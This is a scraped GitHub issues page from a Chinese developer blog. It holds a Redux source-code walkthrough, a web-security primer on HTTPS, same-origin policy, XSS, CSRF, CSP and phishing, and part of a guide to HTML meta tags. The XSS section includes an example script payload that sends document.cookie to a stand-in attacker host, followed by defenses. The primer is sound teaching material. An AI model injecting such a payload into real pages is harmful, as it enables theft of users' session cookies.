Git Product home page Git Product logo

blog's People

Contributors

wisestcoder avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

blog's Issues

redux源码分析与设计思路剖析

1、前言

redux是近期前端开发中最火的框架之一。它是 facebook 提出的 flux 架构的一种优秀实现;而且不局限于为 react 提供数据状态处理。它是零依赖的,可以配合其他任何框架或者类库一起使用。。然而,很多人不清楚它是什么,它有什么好处。

正如官方文档中描述的,redux对于JavaScript应用而言是一个可预测状态的容器。换句话说,它是一个应用数据流框架,而不是传统的像underscore.js或者AngularJs那样的库或者框架。

redux最主要是用作应用状态的管理和数据流的处理。redux用一个单独的常量状态树(对象)保存这一整个应用的状态(官方推荐只有一个state),这个对象不能直接被改变。随着一个项目不停地迭代,项目会越来越庞大,整个应用的数据变得越来越不可控,Redux能完成对数据流的控制,将所有的数据变化变得可预测、可控。

redux的源码非常的简洁,总共加起来就几百行,所以不难理解;建议先去熟悉redux的API和用法再来看本文,会更得心应手。

2、源码结构

src
├── utils                #工具函数
├── applyMiddleware.js
├── bindActionCreators.js        
├── combineReducers.js     
├── compose.js       
├── createStore.js  
└── index.js             #入口 js

2.1 index.js

redux的源码非常简单,index.js就是整个代码的入口:

import createStore from './createStore'
import combineReducers from './combineReducers'
import bindActionCreators from './bindActionCreators'
import applyMiddleware from './applyMiddleware'
import compose from './compose'
import warning from './utils/warning'

function isCrushed() {}

if (
  process.env.NODE_ENV !== 'production' &&
  typeof isCrushed.name === 'string' &&
  isCrushed.name !== 'isCrushed'
) {
  warning(
    '。。。'
  )
}

export {
  createStore,
  combineReducers,
  bindActionCreators,
  applyMiddleware,
  compose
}

这里的 isCrushed 函数主要是为了验证在非生产环境下 redux 是否被压缩(默认情况下,isCrushed.name等于isCrushed,如果被压缩了,函数的名称会变短,一般会压缩成数字,那么 (isCrushed.name !== 'isCrushed') 就是 true),如果被压缩,就给开发者一个 warn 提示)。

然后就是暴露 createStore combineReducers bindActionCreators applyMiddleware compose 这几个接口给开发者使用,我们来逐一解析这几个 API。

2.2 createStore.js

createStore是redux非常重要的一个API,createStore会生成一个store,用来维护一个全局的state。

import isPlainObject from 'lodash/isPlainObject'
import $$observable from 'symbol-observable'

// 私有 action
export var ActionTypes = {
  INIT: '@@redux/INIT'
}

export default function createStore(reducer, preloadedState, enhancer) {
  // 判断接受的参数个数,来指定 reducer 、 preloadedState 和 enhancer
  if (typeof preloadedState === 'function' && typeof enhancer === 'undefined') {
    enhancer = preloadedState
    preloadedState = undefined
  }

  // 如果 enhancer 存在并且适合合法的函数,那么调用 enhancer,并且终止当前函数执行
  if (typeof enhancer !== 'undefined') {
    if (typeof enhancer !== 'function') {
      throw new Error('Expected the enhancer to be a function.')
    }

    return enhancer(createStore)(reducer, preloadedState)
  }

  if (typeof reducer !== 'function') {
    throw new Error('Expected the reducer to be a function.')
  }

  // 储存当前的 currentReducer
  var currentReducer = reducer
  // 储存当前的状态
  var currentState = preloadedState
  // 储存当前的监听函数列表
  var currentListeners = []
  // 储存下一个监听函数列表
  var nextListeners = currentListeners
  var isDispatching = false

  // 这个函数可以根据当前监听函数的列表生成新的下一个监听函数列表引用
  function ensureCanMutateNextListeners() {
    if (nextListeners === currentListeners) {
      nextListeners = currentListeners.slice()
    }
  }

  ... getState ...

  ... subscribe ...

  ... dispatch ...

  ... replaceReducer ...

  ... observable ...

  dispatch({ type: ActionTypes.INIT })

  return {
    dispatch,
    subscribe,
    getState,
    replaceReducer,
    [$$observable]: observable
  }
}

createStore接受3个参数:reducer, preloadedState, enhancer;第一个参数reducer和第三个参数enhancer我们接下来会具体介绍,第二个参数是preloadedState,它是state的初始值。

createStore的返回值是dispatchsubscribegetStatereplaceReducer[$$observable]: observable,共同组成了一个store,接下来我们也会讲到讲这些方法。

1. action
action代表的是用户的操作。redux规定action一定要包含一个type属性,且type属性也要唯一,相同的type,redux视为同一种操作,因为处理action的函数reducer只判断action中的type属性。

2. reducer
reducer 接受两个参数,state以及action函数返回的action对象,并返回最新的state,如下reducer的demo

export default (state, action) => {
    switch (action.type) {
        case A:
        return handleA(state)
        case B:
        return handleB(state)
        case C:
        return handleC(state)
        default:
        return state  // 如果没有匹配上就直接返回原 state
    }
}

reducer 只是一个模式匹配的东西,真正处理数据的函数,一般是额外在别的地方写的(当然直接写在reducer中也没问题,只是不利于后期维护),在 reducer 中调用罢了。
reducer 为什么叫 reducer 呢?因为 action 对象各种各样,每种对应某个 case ,但最后都汇总到 state 对象中,从多到一,这是一个减少( reduce )的过程,所以完成这个过程的函数叫 reducer。

3. getState

function getState() {
  return currentState
}

整个项目的currentState 是处于一个闭包之中,所以能一直存在,getState会返回当前最新的state。

4. subscribe

function subscribe(listener) {
  if (typeof listener !== 'function') {
    throw new Error('Expected listener to be a function.')
  }

  let isSubscribed = true

  ensureCanMutateNextListeners()
  nextListeners.push(listener)

  return function unsubscribe() {
    if (!isSubscribed) {
      return
    }

    isSubscribed = false

    ensureCanMutateNextListeners()
    const index = nextListeners.indexOf(listener)
    nextListeners.splice(index, 1)
  }
}

subscribe接收一个listener,它的作用是给store添加监听函数。nextListeners储存了整个监听函数列表。 subscribe的返回值是一个unsubscribe,是一个解绑函数,调用该解绑函数,会将已经添加的监听函数删除,该监听函数处于一个闭包之中,会一直存在,所以在解绑函数中能删除该监听函数。(由此可见redux源码设计的精巧,多处地方巧用闭包,精简了许多代码。)

5. dispatch

function dispatch(action) {
  if (!isPlainObject(action)) {
    throw new Error(
      'Actions must be plain objects. ' +
      'Use custom middleware for async actions.'
    )
  }

  if (typeof action.type === 'undefined') {
    throw new Error(
      'Actions may not have an undefined "type" property. ' +
      'Have you misspelled a constant?'
    )
  }

  if (isDispatching) {
    throw new Error('Reducers may not dispatch actions.')
  }

  try {
    isDispatching = true
    currentState = currentReducer(currentState, action)
  } finally {
    isDispatching = false
  }

  const listeners = currentListeners = nextListeners
  for (let i = 0; i < listeners.length; i++) {
    const listener = listeners[i]
    listener()
  }

  return action
}

dispatch接收一个参数action。代码会先调用createStore传入的参数reducer方法,reducer接受当前state和action,通过判断actionType,来做对应的操作,并返回最新的currentState。dispatch还会触发整个监听函数列表,所以最后整个监听函数列表都会按顺序执行一遍。dispatch返回值就是传入的action。

6. replaceReducer

function replaceReducer(nextReducer) {
  if (typeof nextReducer !== 'function') {
    throw new Error('Expected the nextReducer to be a function.')
  }

  currentReducer = nextReducer
  dispatch({ type: ActionTypes.INIT })
}

replaceReducer是替换当前的reducer的函数,replaceReducer接受一个新的reducer,替换完成之后,会执行 dispatch({ type: ActionTypes.INIT }) ,用来初始化store的状态。官方举出了三种replaceReducer的使用场景,分别是:

  1. 当你的程序要进行代码分割的时候
  2. 当你要动态的加载不同的reducer的时候
  3. 当你要实现一个实时reloading机制的时候

7. observable
这个API并不是暴露给使用者的,这个是redux内部用的,大家不用深究(千万不要死脑筋啊~~~)。什么,你不信?好吧,实话告诉你,就是内部用的,在测试代码中会用到,感兴趣的可以去test目录下查看(链接)。

2.3 combineReducers.js

// 以下只留下了核心代码(代码太多,全晒的话这篇文章怕是撑不住了~~)
// combination 函数是 combineReducers(reducers) 的返回值,它是真正的 rootReducer
// finalReducers 是 combineReducers(reducers) 的 reducers 对象去掉非函数属性的产物
 // mapValue 把 finalReducers 对象里的函数,映射到相同 key 值的新对象中
function combination(state = defaultState, action) {
    var finalState = mapValues(finalReducers, (reducer, key) => {
      var newState = reducer(state[key], action); //这里调用子 reducer 
      if (typeof newState === 'undefined') {
        throw new Error(getErrorMessage(key, action));
      }
      return newState; //返回新的子 state
    });
    //...省略一些业务无关的代码
    return finalState; //返回新 state
 };

这个函数可以组合一组 reducers,然后返回一个新的reducer。由于redux只维护唯一的state,随着整个项目越来越大,state状态树也会越来越庞大,state的层级也会越来越深,当某个action.type所对应的case 只是要修改state.a.b.c.d.e.f这个属性时,我的 handleCase 函数写起来就非常难看,我必须在这个函数的头部验证 state 对象有没有那个属性。这是让开发者非常头疼的一件事。

combineReducers实现方法很简单,它遍历传入的reducers,返回一个新的reducer,这个新对象的 key 跟传入的reducers一样,它的 value 则是传入的reducers的不同key对应的value展开的{ key: value }。貌似讲的有点绕啊~,举个例子好讲明白:

var reducers = {
    todos: (state, action) { // 此处的 state 参数是全局 state.todos属性
        switch (action.type) {...} // 返回的 new state 更新到全局 state.todos 属性中
    },
    activeFilter: (state, action) { // 拿到 state.activeFilter 作为此处的 state
        switch (action.type) {...} // new state 更新到全局 state.activeFilter 属性中
    }
}
var rootReducer = combineReducers(reducers)

combineReducers内部会将state.todos属性作为todos: (state, action)的state参数传进去,通过switch (action.type)之后返回的new state也会更新到state.todos 属性中;也会将state.activeFilter属性作为activeFilter: (state, action)的state参数传进去,通过switch (action.type)之后返回的new state也会更新到state.activeFilter属性中。

combineReducers是有缺陷的,源码中mapValues只是一级深度的映射,目前redux并没有提供简便的映射到state.a.b一级以上深度的state的方法。这是它目前的不足之处。我们在不改源码的情况下,可以通过嵌套combineReducers来达到目的。

var todosReducers = {
    active: (state, action) => { //拿到全局 state.todos.active
        switch (action.type) {
            case A: //处理 A 场景
            return handleA(state)
            case B: //处理 B 场景
            return handleB(state)
            default:
            return state
        }
    },
    completed: (state, action) => { //拿到全局 state.todos.completed
        switch (action.type) {
            case C: //处理 C 场景
            return handleC(state)
            default:
            return state
        }
    }
}

var todosRootReducer = combineReducers(todosReducers)

var reducers = {
    todos: (state, action) => { //拿到全局 state.todos
        switch (action.type) {
            case A:
            case B:
            case C:
            // A B C 场景都传递给 todosRootReducer
            return todosRootReducer(state, action)
            case D:
            //...handle state
            default:
            return state
        }
    }
}

//rootReducer(state, action) 这里的 state 是真正的全局 state
var rootReducer = combineReducers(reducers)

2.4 bindActionCreators.js

function bindActionCreator(actionCreator, dispatch) {
  return (...args) => dispatch(actionCreator(...args))
}

export default function bindActionCreators(actionCreators, dispatch) {
  const keys = Object.keys(actionCreators)
  const boundActionCreators = {}
  for (let i = 0; i < keys.length; i++) {
    const key = keys[i]
    const actionCreator = actionCreators[key]
    if (typeof actionCreator === 'function') {
      boundActionCreators[key] = bindActionCreator(actionCreator, dispatch)
    }
  }
  return boundActionCreators
}

bindActionCreators的代码比较简单,就是将actionCreator和dispatch联结在一起。对于多个 actionCreator,我们可以像reducers一样,组织成一个 key/action的组合。由于很多情况下,action是 actionCreator 返回的,实际上要这样调用 store.dispatch(actionCreator(...args)),很麻烦是吧?只能再封装一层呗,这就是函数式**的体现,通过反复组合,将嵌套函数分离。(在这里,我不得不再夸一次redux的作者)

2.5 compose.js

export default function compose(...funcs) {
  if (funcs.length === 0) {
    return arg => arg
  }

  if (funcs.length === 1) {
    return funcs[0]
  }

  return funcs.reduce((a, b) => (...args) => a(b(...args)))
}

compose的代码不难理解,它调用了ES5的Array.prototype.reduce方法,将形如fn(arg1)(arg2)(arg3)...的柯里化函数按照顺序执行。

2.6 applyMiddleware.js

export default function applyMiddleware(...middlewares) {
  return createStore => (reducer, initialState) => {
    var store = createStore(reducer, initialState);
    var dispatch = store.dispatch; //拿到真正的 dispatch
    // 将最重要的两个方法 getState/dispatch 整合出来
    var middlewareAPI = {
      getState: store.getState,
      dispatch: action => dispatch(action)
    };
    // 依次传递给 middleware,让它们有控制权
    var chain = middlewares.map(middleware => middleware(middlewareAPI));
    dispatch = compose(...chain, dispatch); // 再组合出新的 dispatch

    return {
      ...store,
      dispatch
    };
  };
}

顾名思义,applyMiddleware就是中间件的意思。applyMiddleware接收中间件为参数,并返回一个以createStore为参数的函数;同时applyMiddleware又是createStore函数中的第三个参数,所以我们回到createStore的代码,找到了:

if (typeof enhancer !== 'undefined') {
  if (typeof enhancer !== 'function') {
    throw new Error('Expected the enhancer to be a function.')
  }

  return enhancer(createStore)(reducer, preloadedState)
}

当createStore中传了第三个参数的时候,会执行enhancer(createStore)(reducer, preloadedState),这是一个柯里化函数;我们可以设想中间件的使用方法:const store = createStore( reducer, applyMiddleware([...中间件]))applyMiddleware([...中间件])的返回值是一个以createStore为参数的函数,这个函数会在createStore中执行,返回的函数也会继续执行,最后返回一个store。我们继续回到applyMiddleware中,在返回store之前,中间件做了什么处理呢?中间件将最重要的两个方法 getState/dispatch整合出来,并传递给中间件使用,中间件处理完之后,返回一个新的dispatch。这里又有疑问,为什么中间件要放在dispatch的时候?借用阮老师的一张图:

image

applyMiddleware把中间件放在一个chain数组中,并通过compose方法(我们上面已经介绍过了),让每个中间件按照顺序一次传入diapatch参数执行,再组合出新的 dispatch。由此可见,每个中间件的格式都应该是接收一个{ dispatch, getState },返回一个(dispatch) => { return function(action) { ... } }

3、工作流程

通过熟悉redux的源码,我们也对redux的代码结构本身有了一个完整的理解,我们可以理解redux的整个工作流程:

  1. 设计全局state的数据结构状态树
  2. 设计更改state数据、状态的actionType常量
  3. 根据actionType,编写actionCreator
  4. 根据各个actionCreator的返回值,用reducer做数据处理
  5. 有个reducer之后,我们用createStore来得到全局唯一的store,来管理state
  6. 用bindActionCreator函数将actionCreator和store.dispatch绑定起来,得到一组能更改state的函数
  7. 分发使用各个状态修改函数(dispatch)

4、结尾

笔者认为redux非常优秀,而且API也非常稳定,同时facebook又推出了适合react项目的react-redux,也说明了redux的强大;redux是前段不可或缺的技术,衷心希望大家能够谈笑风生的学习和使用。

最后向大家安利一款自己用node写的一个react+webpack的脚手架,戳我→

网络安全

网络安全

开发者不可能确保自己的应用绝对无法被攻击,但是只要攻击我们的时候,黑客花费的成本远比他可以获取的利益大得多,黑客就不会去攻击。

借用某腾讯工程师说的话,一个网站的建立,必须防范所有可能受到的网站攻击,这就涉及了网络安全,接下来从以下几个角度入手,帮助大家构建更加安全的 Web 应用。

使用HTTPS

HTTPS 即 HTTP over SSL/TLS,是 HTTP 的安全版本,在 HTTP 上加了一层处理加密信息的模块。 SSL/TLS 全称安全传输层协议 Transport Layer Security, 是介于 TCP 和 HTTP 之间的一层安全协议,不影响原有的 TCP 协议和 HTTP 协议,所以使用 HTTPS 基本上不需要对 HTTP 页面进行太多的改造。浏览器访问支持 HTTPS 的站点时,在地址栏的前面会有一把绿色的锁一样的标识,表明 HTTPS 生效了。

image

要想简单明了的弄懂https原理,可以看这篇文章:HTTPS 的故事

HTTPS 的主要作用

  1. 对数据进行加密,并建立一个信息安全通道,来保证传输过程中的数据安全;
  2. 对网站服务器进行真实身份认证。

SSL/TLS 协议采用非对称加密方式,服务端会生成公钥和私钥,公钥用来加密信息,可以提供给所有需要进行通信的客户端,私钥保存在本地,不能泄露。客户端使用这份公钥对信息进行加密,将请求发送给服务器,服务器用私钥解密。反之,服务器对客户端的返回,则使用客户端提供的公钥进行加密,客户端使用本地对应的私钥来解密,保证了通信的安全。

基于 SSL/TLS 进行 一次的 HTTPS 会话的过程,简单地说可以分成3步

  1. 客户端向服务器端索要并验证公钥。
  2. 双方协商生成"对话密钥"。
  3. 双方采用"对话密钥"进行加密通信。

HTTPS 服务器拥有一张数字证书,包含了经过认证的网站公钥和一些元数据,客户端和服务端通信时,会首先验证证书的有效性,来决定是否继续通信。这样一来,经过了身份认证、信息加密等步骤,网络通信安全就得到了保障。

使用https有哪些好处呢?

HTTP 协议采用明文传输信息,存在信息窃听、信息篡改和信息劫持的风险,使用 HTTPS 则有以下几个方面的优势:

保护站点安全

HTTPS 的通信信息都是加密传播,第三方无法窃听,且具有校验机制,一旦信息被篡改,通信双方就能立刻发现,这样就能够有效防止入侵者篡改网络通信内容。这些入侵者包括但不局限于恶意攻击者,合法但极具威胁的竞争对手,通信运营商等等。特别是在国内,运营商劫持插入广告信息的现象早已屡见不鲜,这些都能通过升级 HTTPS 来规避。

保护用户隐私

如果单纯地认为,只有涉及到敏感数据的网站才需要升级 HTTPS,那就大错特错了。事实上每一个不受保护的 HTTP 请求都有暴露用户行为、用户身份的风险。虽然这些单个请求看起来没有什么敏感信息,也不能造成什么损失,但攻击者可以长期监视用户的浏览活动,通过收集大量数据推断用户的行为、地理位置、生活习惯等,从而造成用户的隐私信息泄露。

未来的趋势所在

将 Web 应用升级成为 HTTPS 是大势所趋,HTTPS 可以保障站点的安全、保护用户的隐私。随着 Web 应用平台的多元化发展,拍照、视频等功能都需要较高的用户权限许可,而使用 service worker 启用离线应用功能、构建 PWA 应用等已经将 HTTPS 视为必要条件。Google 早就倡议所有的 Web 站点都应该使用 HTTPS, 而且将 HTTPS 站点的搜索结果排名权重进行提升,想必在未来,这也是促进站长将站点进行 HTTPS 化的一个重要理由。

同源策略

浏览器的同源策略是 Web 安全的基石,它对从一个源加载的文档或脚本如何与来自另一个源的资源进行交互做出了限制。这是一个用于隔离潜在恶意文件的关键的安全机制,每个源均与其余网络保持隔离,从而为开发者提供一个可进行构建和操作的安全沙盒。

如果没有同源策略, Web 世界就变得非常不安全,拿浏览器中的 cookie 来说,当你登录 a 网站,同时打开 b 网站,b 网站能获取你 a 网站的 cookie,盗取你的身份凭证进行非法操作。

同源策略只是一个规范,虽然并没有指定其具体的使用范围和实现方式,但各个浏览器厂商都针对同源策略做了自己的实现。

同源的定义:如果协议,端口和主机对于两个页面是相同的,则两个页面具有相同的源。

例如,相对于http://www.example.com/dir/page.html,同源情况如下:

地址 结果
http://www.example.com/dir2/other.html 同源
http://v2.www.example.com/dir/other.html 不同源(主机不同)
https://www.example.com/dir/other.html 不同源(协议不同)
http://www.example.com:81/dir/other.html 不同源(端口不同)

更改源

页面可以更改自己的源,但会受到一些限制。比如,可以使用 document.domain 来设置子域的 domain 值,允许其安全访问其父域。例如:

可以在 http://child.company.com/dir/a.html 中执行:

document.domain = 'company.com';

页面将与 http://company.com/dir/b.html 处于相同的域。但是,试图给 company.com 设置 document.domainanotherCompany.com 是不可行的。

注意 浏览器的端口号是单独保存的,在给 document.domain 赋值时,如果不指明端口号,默认会以 null 值覆盖掉原来的端口号。

一些内嵌资源不受限制

  • <script src="..."></script> 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。
  • <link rel="stylesheet" href="..."> 标签嵌入CSS。
  • <img> 嵌入图片。
  • <video><audio> 嵌入多媒体资源。
  • <object>, <embed><applet>的插件。
  • @font-face 引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。
  • 和 <iframe>载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。

限制范围

非同源的网站,主要有3种行为受到限制:

  1. 无法共享 cookie, localStorage, indexDB
  2. 无法操作彼此的 DOM 元素
  3. 无法发送 Ajax 请求

同源策略做了很严格的限制,但在实际的场景中,又确实有很多地方需要突破同源策略的限制,也就是我们常说的跨域。

规避上述限制,实现跨域通信的解决方案有多种,如 CORSJSONP,使用 window.name,使用window.postMessage 等,这里就不一一展开讲了。

典型的安全漏洞

Web 典型的安全漏洞种类很多,如 XSS, CSRF, SQL注入,Cross IFrame Trick, clickJacking, 文件上传 等等。下面列举两种客户端常见的安全漏洞。

XSS

XSS (Cross Site Scripting),跨站脚本攻击。为了和层叠样式表(Cascading Style Sheets,CSS)区分开,跨站脚本在安全领域叫做 XSS。攻击者往 Web 页面里注入恶意代码,当用户浏览这些网页时,就会执行其中的恶意代码,可对用户进行盗取 cookie 信息、会话劫持、改变网页内容、恶意跳转等各种攻击。XSS 是常见的 Web 攻击技术之一,由于跨站脚本漏洞易于出现且利用成本低,所以被 OWASP 列为当前的头号 Web 安全威胁。

举一个简单的例子

在 a.com 的搜索输入框中输入如下内容,并提交请求

<script>location.href=http://www.bad.com/?cookie=document.cookie</script>

如果前端没有进行过滤,浏览器地址可能变为:

http://www.a.com/?query=<script>location.href=http://www.bad.com/?cookie=document.cookie</script>

此时,用户的 cookie 信息已经被发送到攻击者的服务器,攻击者便能利用收集的 cookie 信息来伪造用户身份,进行多种恶意非法操作。

XSS 攻击类型一般分为三种:

  • 反射型 XSS
    反射型 XSS 只是简单的把用户输入的数据“反射”给浏览器,XSS 脚本出现在 URL 请求参数里,也就是说需要诱使用户“点击”一个恶意链接,才能攻击成功。反射型 XSS 也叫作非持久型 XSS。

  • 储存型 XSS
    存储型 XSS 也被称为持久型 XSS,当攻击者输入一段恶意脚本后,被服务端接受保存,当用户访问这个页面时,恶意脚本就会被执行,从而造成漏洞。

  • DOM Based XSS
    基于 DOM 的 XSS,通过对具体 DOM 代码进行分析,根据实际情况构造 DOM 节点进行 XSS 跨站脚本攻击。

对于 XSS 攻击,我们可以做如下防范:

  1. 输入过滤。永远不要相信用户的输入,对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式,比如日期格式,Email 格式,电话号码格式等等。同时,后台服务器需要在接收到用户输入的数据后,对特殊危险字符进行过滤或者转义处理,然后再存储到数据库中。

  2. 输出编码。服务器端输出到浏览器的数据,可以使用系统的安全函数来进行编码或转义来防范 XSS 攻击。输出 HTML 属性时可以使用 HTML 转义编码(HTMLEncode)进行处理,输出到页面脚本代码中,可以相应进行 Javascript encode 处理。

  3. HttpOnly Cookie。预防 XSS 攻击窃取用户 cookie 最有效的防御手段。Web 应用程序在设置 cookie 时,将其属性设为 HttpOnly,就可以避免该网页的 cookie 被客户端恶意 JavaScript 窃取,保护用户 cookie 信息。

WAF(Web Application Firewall),Web 应用防火墙,主要的功能是防范诸如网页木马、XSS 以及 CSRF 等常见的 Web 漏洞攻击。由第三方公司开发,在企业环境中深受欢迎。

CSRF

CSRF (Cross Site Request Forgery),即跨站请求伪造。简单的理解是,攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF 能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账等,造成个人隐私泄露,财产损失。

举个例子,受害者用户登录网站 A,输入个人信息,在本地保存服务器生成的 cookie。攻击者构建一条恶意链接,例如对受害者在网站 A 的信息及状态进行操作,典型的例子就是转账。受害者打开了攻击者构建的网页 B,浏览器发出该恶意连接的请求,浏览器发起会话的过程中发送本地保存的 cookie 到网址 A,A 网站收到 cookie,以为是受害者发出的操作,导致受害者的身份被盗用,完成攻击者恶意的目的。

image

对于 CSRF 攻击,我们可以做如下防范:

  1. 验证码。应用程序和用户进行交互过程中,特别是账户交易这种核心步骤,强制用户输入验证码,才能完成最终请求。在通常情况下,验证码够很好地遏制 CSRF 攻击。但增加验证码降低了用户的体验,网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段,在关键业务点设置验证码。

  2. Referer Check。HTTP Referer 是 header 的一部分,当浏览器向 Web 服务器发送请求时,一般会带上 Referer 信息告诉服务器是从哪个页面链接过来的,服务器以此可以获得一些信息用于处理。可以通过检查请求的来源来防御 CSRF 攻击。正常请求的 referer 具有一定规律,如在提交表单的 referer 必定是在该页面发起的请求。所以通过检查 http 包头 referer 的值是不是这个页面,来判断是不是 CSRF 攻击。

  3. Anti CSRF Token。目前比较完善的解决方案是加入 Anti-CSRF-Token,即发送请求时在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器建立一个拦截器来验证这个 token。服务器读取浏览器当前域 cookie 中这个 token 值,会进行校验该请求当中的 token 和 cookie 当中的 token 值是否都存在且相等,才认为这是合法的请求。否则认为这次请求是违法的,拒绝该次服务。

CSP

CSP(Content Security Policy) 即内容安全策略,主要目标是减少、并有效报告 XSS 攻击,其实质就是让开发者定制一份白名单,告诉浏览器允许加载、执行的外部资源。即使攻击者能够发现可从中注入脚本的漏洞,由于脚本不在白名单之列,浏览器也不会执行该脚本,从而达到了降低客户端遭受 XSS 攻击风险和影响的目的。

默认配置下,CSP 甚至不允许执行内联代码 (<script> 块内容,内联事件,内联样式),以及禁止执行eval(), setTimeout 和 setInterval。为什么要这么做呢?因为制定来源白名单依旧无法解决 XSS 攻击的最大威胁:内联脚本注入。浏览器无法区分合法内联脚本与恶意注入的脚本,所以通过默认禁止内联脚本来有效解决这个问题。

事实上我们并不推荐使用内联脚本混合的开发方式,使用外部资源,浏览器更容易缓存,对开发者也容易阅读理解,并且有助于编译和压缩。当然,如果不得不需要内联脚本和样式,可以通过设置 unsafe-inline,来解除这一限制。

网络劫持攻击

很多的时候,我们的网站不是直接就访问到我们的服务器上的,中间会经过很多层代理,如果在某一个环节,数据被中间代理层的劫持者所截获,他们就能获取到使用你网站的用户的密码等保密数据。比如,我们的用户经常会在各种饭馆里面,连一些奇奇怪怪的wifi,如果这个wifi是黑客所建立的热点wifi,那么黑客就可以结果该用户收发的所有数据。这里,建议站长们网站都使用https进行加密。这样,就算网站的数据能被拿到,黑客也无法解开。

如果你的网站还没有进行https加密的化,则在表单提交部分,最好进行非对称加密--即客户端加密,只有服务端能解开。这样中间的劫持者便无法获取加密内容的真实信息了。

钓鱼

钓鱼也是一种非常古老的攻击方式了,我相信很多人会有这样的经历,QQ群里面有人发什么兼职啦、什么自己要去国外了房子车子甩卖了,详情在我QQ空间里啦,之类的连接。打开之后发现一个QQ登录框,其实一看域名就知道不是QQ,不过做得非常像QQ登录,不明就里的用户们,就真的把用户名和密码输入了进去,结果没登录到QQ,用户名和密码却给人发过去了。

说白了,钓鱼网站就是非常逼真的假冒伪劣网站。

重点在于我们比较难防住这种攻击,我们并不能将所有的页面链接都使用js打开。所以,要么就将外链跳转的连接改为当前页面跳转,要么就在页面unload的时候给用户加以提示,要么就将页面所有的跳转均改为window.open,在打开时,跟大多数钓鱼防治殊途同归的一点是,我们需要用户的安全意识提高。

Meta标签详解

有多少人使用meta标签,只是以下用法?

<meta charset="UTF-8">

但是打开任意的网站,其head标签内都有一列的meta标签。比如打开当前页面:

image

简介

定义

w3school官方解释:

The tag provides metadata about the HTML document. Metadata will not be displayed on the page, but will be machine parsable.

意思就是说 <meta> 元素可提供有关某个 HTML 元素的元信息 (Metadata)。

用处

Meta elements are typically used to specify page description, keywords, author of the document, last modified, and other metadata.
The metadata can be used by browsers (how to display content or reload page), search engines (keywords), or other web services

  • 标签提供了 HTML 文档的元数据。元数据不会显示在客户端,但是会被浏览器解析。

  • META元素通常用于指定网页的描述,关键词,文件的最后修改时间,作者及其他元数据。

  • 元数据可以被使用浏览器(如何显示内容或重新加载页面),搜索引擎(关键词),或其他 Web 服务调用。

组成

meta标签共有五个属性,分别是http-equiv属性、name属性、content属性、charset属性和scheme属性。content属性常搭配name和http-equiv属性一起使用,scheme属性搭配content属性使用。

1. name属性

name属性主要用于描述网页,比如网页的关键词,叙述等。与之对应的属性值为content,content中的内容是对name填入类型的具体描述,便于搜索引擎抓取。

meta标签中name属性语法格式是:

<meta name="参数" content="具体的描述">

其中name属性共有以下几种参数。(A-C为常用属性)

A. keywords(关键字)
说明:用于告诉搜索引擎,你网页的关键字。

举例:

<meta name="keywords" content="github博客">

B. description(网站内容的描述)
说明:用于告诉搜索引擎,你网站的主要内容。

举例:

<meta name="description" content="Meta标签详解">

C. viewport(移动端的窗口)
说明:这个概念较为复杂,具体的会在下篇博文中讲述。这个属性常用于设计移动端网页。在用bootstrap,AmazeUI等框架时候都有用过viewport。

举例(常用范例):

<meta name="viewport" content="width=device-width, initial-scale=1">

D. robots(定义搜索引擎爬虫的索引方式)
说明:robots用来告诉爬虫哪些页面需要索引,哪些页面不需要索引。content的参数有all,none,index,noindex,follow,nofollow。默认是all。

举例:

<meta name="robots" content="none">

具体参数如下:

  1. none : 搜索引擎将忽略此网页,等价于noindex,nofollow。
  2. noindex : 搜索引擎不索引此网页。
  3. nofollow: 搜索引擎不继续通过此网页的链接索引搜索其它的网页。
  4. all : 搜索引擎将索引此网页与继续通过此网页的链接索引,等价于index,follow。
  5. index : 搜索引擎索引此网页。
  6. follow : 搜索引擎继续通过此网页的链接索引搜索其它的网页。

E. author(作者)
说明:用于标注网页作者

举例:

<meta name="author" content="Lxxyx,[email protected]">

F. generator(网页制作软件)
说明:用于标明网页是什么软件做的

举例: (不知道能不能这样写):

<meta name="generator" content="Sublime Text3">

G. copyright(版权)
说明:用于标注版权信息

举例:

<meta name="copyright" content="Lxxyx"> //代表该网站为Lxxyx个人版权所有。

H. revisit-after(搜索引擎爬虫重访时间)
说明:如果页面不是经常更新,为了减轻搜索引擎爬虫对服务器带来的压力,可以设置一个爬虫的重访时间。如果重访时间过短,爬虫将按它们定义的默认时间来访问。

举例:

<meta name="revisit-after" content="7 days" >

I. renderer(双核浏览器渲染方式)
说明:renderer是为双核浏览器准备的,用于指定双核浏览器默认以何种方式渲染页面。比如说360浏览器。

举例:

<meta name="renderer" content="webkit"> //默认webkit内核
<meta name="renderer" content="ie-comp"> //默认IE兼容模式
<meta name="renderer" content="ie-stand"> //默认IE标准模式

2. http-equiv属性

介绍之前,先说个小插曲。看文档和博客关于http-equiv的介绍时,有这么一句。

http-equiv顾名思义,相当于http的文件头作用。

http-equiv 属性提供了 content 属性的信息/值的 HTTP 头。

http-equiv 属性可用于模拟一个 HTTP 响应头。

meta标签中http-equiv属性语法格式是:

<meta http-equiv="参数" content="具体的描述">

其中http-equiv属性主要有以下几种参数:

A. content-Type(设定网页字符集)(推荐使用HTML5的方式)
说明:用于设定网页字符集,便于浏览器解析与渲染页面

举例:

<meta http-equiv="content-Type" content="text/html;charset=utf-8">  //旧的HTML,不推荐
